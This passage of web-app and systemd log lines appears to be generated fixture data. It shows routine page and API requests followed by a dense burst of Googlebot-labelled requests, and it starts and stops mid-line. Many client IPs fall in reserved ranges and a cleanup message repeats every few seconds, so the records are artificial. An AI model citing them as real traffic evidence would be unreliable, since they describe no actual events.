Safari/537.36" +Aug 22 10:00:16 web-app[2233]: 125.245.234.47 - - [22/Aug/2025:10:00:16 ] "GET /contact HTTP/1.1" 200 4282 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:21 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:23 web-app[2233]: 102.204.222.31 - - [22/Aug/2025:10:00:23 ] "GET /products/123 HTTP/1.1" 200 6762 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:25 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:28 web-app[2233]: 42.115.160.151 - - [22/Aug/2025:10:00:28 ] "GET /contact HTTP/1.1" 200 6418 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:31 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:32 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:38 web-app[2233]: 129.71.93.159 - - [22/Aug/2025:10:00:38 ] "GET /api/v1/user/42 HTTP/1.1" 200 6712 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:00:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:46 web-app[2233]: 7.216.228.156 - - [22/Aug/2025:10:00:46 ] "GET /about HTTP/1.1" 404 5795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:47 web-app[2233]: 3.45.163.187 - - [22/Aug/2025:10:00:47 ] "GET /about HTTP/1.1" 200 1824 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:00:48 web-app[2233]: 204.65.230.152 - - [22/Aug/2025:10:00:48 ] "GET /search?q=gemini HTTP/1.1" 200 3276 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:00:53 web-app[2233]: 117.195.231.89 - - [22/Aug/2025:10:00:53 ] "GET /blog/latest-news HTTP/1.1" 200 7790 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:53 web-app[2233]: 190.41.251.143 - - [22/Aug/2025:10:00:53 ] "GET /about HTTP/1.1" 200 1239 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:56 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:59 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:00 web-app[2233]: 14.246.236.51 - - [22/Aug/2025:10:01:00 ] "GET /products/123 HTTP/1.1" 404 6769 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:01:03 web-app[2233]: 100.206.59.228 - - [22/Aug/2025:10:01:03 ] "GET /products/123 HTTP/1.1" 200 2771 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:05 web-app[2233]: 247.116.114.24 - - [22/Aug/2025:10:01:05 ] "GET /blog/latest-news HTTP/1.1" 200 3137 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:08 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:14 web-app[2233]: 52.118.237.23 - - [22/Aug/2025:10:01:14 ] "GET /search?q=gemini HTTP/1.1" 200 7158 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:16 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:18 web-app[2233]: 190.181.93.166 - - [22/Aug/2025:10:01:18 ] "GET /contact HTTP/1.1" 200 7023 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:01:22 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:23 web-app[2233]: 20.89.175.62 - - [22/Aug/2025:10:01:23 ] "GET /products/123 HTTP/1.1" 404 2954 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:28 web-app[2233]: 29.236.231.81 - - [22/Aug/2025:10:01:28 ] "GET /search?q=gemini HTTP/1.1" 404 4404 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:01:31 web-app[2233]: 163.78.176.178 - - [22/Aug/2025:10:01:31 ] "GET /search?q=gemini HTTP/1.1" 200 3500 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:34 web-app[2233]: 186.245.67.90 - - [22/Aug/2025:10:01:34 ] "GET /search?q=gemini HTTP/1.1" 200 7775 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:36 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:39 web-app[2233]: 109.235.241.215 - - [22/Aug/2025:10:01:39 ] "GET /products/123 HTTP/1.1" 404 6844 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:39 web-app[2233]: 241.91.46.133 - - [22/Aug/2025:10:01:39 ] "GET /contact HTTP/1.1" 200 1947 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:42 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:45 web-app[2233]: 233.57.190.196 - - [22/Aug/2025:10:01:45 ] "GET /about HTTP/1.1" 200 4023 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:01:47 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:52 web-app[2233]: 126.142.131.251 - - [22/Aug/2025:10:01:52 ] "GET /contact HTTP/1.1" 200 5764 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:01:53 web-app[2233]: 11.31.236.135 - - [22/Aug/2025:10:01:53 ] "GET /api/v1/user/42 HTTP/1.1" 404 6375 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:53 web-app[2233]: 250.247.150.153 - - [22/Aug/2025:10:01:53 ] "GET /products/123 HTTP/1.1" 404 2191 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:57 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:58 web-app[2233]: 210.149.130.37 - - [22/Aug/2025:10:01:58 ] "GET /api/v1/user/42 HTTP/1.1" 200 4937 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:02:03 web-app[2233]: 202.247.234.36 - - [22/Aug/2025:10:02:03 ] "GET /about HTTP/1.1" 200 7407 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:02:07 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:13 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:19 web-app[2233]: 159.36.129.2 - - [22/Aug/2025:10:02:19 ] "GET /search?q=gemini HTTP/1.1" 200 6464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:02:19 web-app[2233]: 254.107.246.2 - - [22/Aug/2025:10:02:19 ] "GET /api/v1/user/42 HTTP/1.1" 404 1149 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:02:22 web-app[2233]: 177.214.29.162 - - [22/Aug/2025:10:02:22 ] "GET /blog/latest-news HTTP/1.1" 200 6250 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:02:24 web-app[2233]: 29.175.27.18 - - [22/Aug/2025:10:02:24 ] "GET /blog/latest-news HTTP/1.1" 200 5679 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:02:25 web-app[2233]: 48.144.132.126 - - [22/Aug/2025:10:02:25 ] "GET / HTTP/1.1" 404 5162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:02:26 web-app[2233]: 171.109.202.107 - - [22/Aug/2025:10:02:26 ] "GET /contact HTTP/1.1" 200 6361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:02:27 web-app[2233]: 184.222.31.88 - - [22/Aug/2025:10:02:27 ] "GET /blog/latest-news HTTP/1.1" 200 2887 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:02:30 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:30 ] "GET /search?q=gemini HTTP/1.1" 200 5215 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:30 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:30 ] "GET /api/v1/user/42 HTTP/1.1" 200 7139 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:30 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:30 ] "GET /products/123 HTTP/1.1" 200 11795 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:30 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:30 ] "GET /blog/latest-news HTTP/1.1" 200 5739 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:30 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:30 ] "GET /products/123 HTTP/1.1" 200 12479 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:31 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:31 ] "GET / HTTP/1.1" 200 6082 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:31 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:31 ] "GET /api/v1/user/42 HTTP/1.1" 200 14941 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:34 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:34 ] "GET /api/v1/user/42 HTTP/1.1" 200 11022 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:34 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:34 ] "GET /blog/latest-news HTTP/1.1" 200 6313 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:34 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:34 ] "GET /search?q=gemini HTTP/1.1" 200 13813 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:34 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:34 ] "GET /search?q=gemini HTTP/1.1" 200 14751 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:34 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:34 ] "GET /about HTTP/1.1" 200 7471 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:35 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:35 ] "GET /blog/latest-news HTTP/1.1" 200 11853 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:35 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:35 ] "GET /products/123 HTTP/1.1" 200 8231 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:36 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:36 ] "GET /products/123 HTTP/1.1" 200 12614 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:36 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:36 ] "GET /products/123 HTTP/1.1" 200 6289 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:36 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:36 ] "GET / HTTP/1.1" 200 12692 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:36 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:36 ] "GET /products/123 HTTP/1.1" 200 7398 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:37 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:37 ] "GET /api/v1/user/42 HTTP/1.1" 200 13656 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:38 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:38 ] "GET / HTTP/1.1" 200 11390 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:38 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:38 ] "GET / HTTP/1.1" 200 12342 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:38 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:38 ] "GET /api/v1/user/42 HTTP/1.1" 200 5235 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:38 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:38 ] "GET /products/123 HTTP/1.1" 200 5346 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:39 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:39 ] "GET /contact HTTP/1.1" 200 8114 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:39 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:39 ] "GET /products/123 HTTP/1.1" 200 7505 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:39 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:39 ] "GET /products/123 HTTP/1.1" 200 7943 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:39 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:39 ] "GET / HTTP/1.1" 200 7141 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:40 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:40 ] "GET /contact HTTP/1.1" 200 14518 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:40 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:40 ] "GET /about HTTP/1.1" 200 6430 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:40 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:40 ] "GET /about HTTP/1.1" 200 9083 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:40 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:40 ] "GET /search?q=gemini HTTP/1.1" 200 13775 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:41 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:41 ] "GET /contact HTTP/1.1" 200 14532 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:42 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:42 ] "GET / HTTP/1.1" 200 8959 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:42 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:42 ] "GET /about HTTP/1.1" 200 12580 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:42 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:42 ] "GET /api/v1/user/42 HTTP/1.1" 200 10791 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:42 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:42 ] "GET /blog/latest-news HTTP/1.1" 200 9296 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:43 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:43 ] "GET /contact HTTP/1.1" 200 6223 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:43 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:43 ] "GET /contact HTTP/1.1" 200 6790 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:43 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:43 ] "GET /search?q=gemini HTTP/1.1" 200 6400 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:45 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:45 ] "GET /api/v1/user/42 HTTP/1.1" 200 13703 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:45 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:45 ] "GET /contact HTTP/1.1" 200 11152 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:45 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:45 ] "GET /contact HTTP/1.1" 200 8422 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:46 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:46 ] "GET /about HTTP/1.1" 200 14503 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:46 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:46 ] "GET /api/v1/user/42 HTTP/1.1" 200 6467 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:46 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:46 ] "GET / HTTP/1.1" 200 11193 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:46 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:46 ] "GET /about HTTP/1.1" 200 6022 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:47 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:47 ] "GET /api/v1/user/42 HTTP/1.1" 200 10859 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:48 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:48 ] "GET /contact HTTP/1.1" 200 9906 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:48 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:48 ] "GET /contact HTTP/1.1" 200 13015 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:48 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:48 ] "GET /search?q=gemini HTTP/1.1" 200 6926 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:48 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:48 ] "GET / HTTP/1.1" 200 9235 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:49 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:49 ] "GET /search?q=gemini HTTP/1.1" 200 7185 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:50 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:50 ] "GET /contact HTTP/1.1" 200 10929 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:51 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:51 ] "GET /api/v1/user/42 HTTP/1.1" 200 14242 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:51 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:51 ] "GET /about HTTP/1.1" 200 6062 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:51 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:51 ] "GET /blog/latest-news HTTP/1.1" 200 7239 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:51 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:51 ] "GET /contact HTTP/1.1" 200 6723 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:51 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:51 ] "GET /blog/latest-news HTTP/1.1" 200 9160 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:52 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:52 ] "GET /search?q=gemini HTTP/1.1" 200 7721 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:53 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:53 ] "GET /blog/latest-news HTTP/1.1" 200 14905 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:53 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:53 ] "GET / HTTP/1.1" 200 11398 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:53 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:53 ] "GET / HTTP/1.1" 200 8059 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:53 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:53 ] "GET /products/123 HTTP/1.1" 200 5765 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:53 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:53 ] "GET /about HTTP/1.1" 200 12724 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:53 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:53 ] "GET /about HTTP/1.1" 200 14413 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:53 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:53 ] "GET /search?q=gemini HTTP/1.1" 200 8923 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:54 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:54 ] "GET / HTTP/1.1" 200 8019 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:54 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:54 ] "GET /about HTTP/1.1" 200 10134 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:54 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:54 ] "GET / HTTP/1.1" 200 8874 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:54 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:54 ] "GET /blog/latest-news HTTP/1.1" 200 6807 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:54 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:54 ] "GET /contact HTTP/1.1" 200 9352 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:54 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:54 ] "GET /search?q=gemini HTTP/1.1" 200 9636 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:55 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:55 ] "GET / HTTP/1.1" 200 5020 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:55 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:55 ] "GET /search?q=gemini HTTP/1.1" 200 13698 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:56 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:56 ] "GET / HTTP/1.1" 200 5736 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:56 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:56 ] "GET / HTTP/1.1" 200 8994 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:56 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:56 ] "GET /api/v1/user/42 HTTP/1.1" 200 11088 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:56 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:56 ] "GET /api/v1/user/42 HTTP/1.1" 200 7329 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:57 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:57 ] "GET / HTTP/1.1" 200 10194 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:57 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:57 ] "GET /blog/latest-news HTTP/1.1" 200 7755 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:57 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:57 ] "GET /contact HTTP/1.1" 200 14809 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:57 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:57 ] "GET /search?q=gemini HTTP/1.1" 200 14492 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:58 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:58 ] "GET /about HTTP/1.1" 200 6934 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:58 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:58 ] "GET /search?q=gemini HTTP/1.1" 200 12073 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:58 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:58 ] "GET /search?q=gemini HTTP/1.1" 200 11834 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:58 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:02:58 ] "GET /search?q=gemini HTTP/1.1" 200 8529 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:59 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:02:59 ] "GET /api/v1/user/42 HTTP/1.1" 200 12839 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:59 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:59 ] "GET /api/v1/user/42 HTTP/1.1" 200 10684 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:59 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:59 ] "GET /blog/latest-news HTTP/1.1" 200 10486 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:02:59 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:02:59 ] "GET /search?q=gemini HTTP/1.1" 200 11315 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:00 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:03:00 ] "GET / HTTP/1.1" 200 5917 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:00 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:00 ] "GET /blog/latest-news HTTP/1.1" 200 7428 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:01 web-app[2233]: 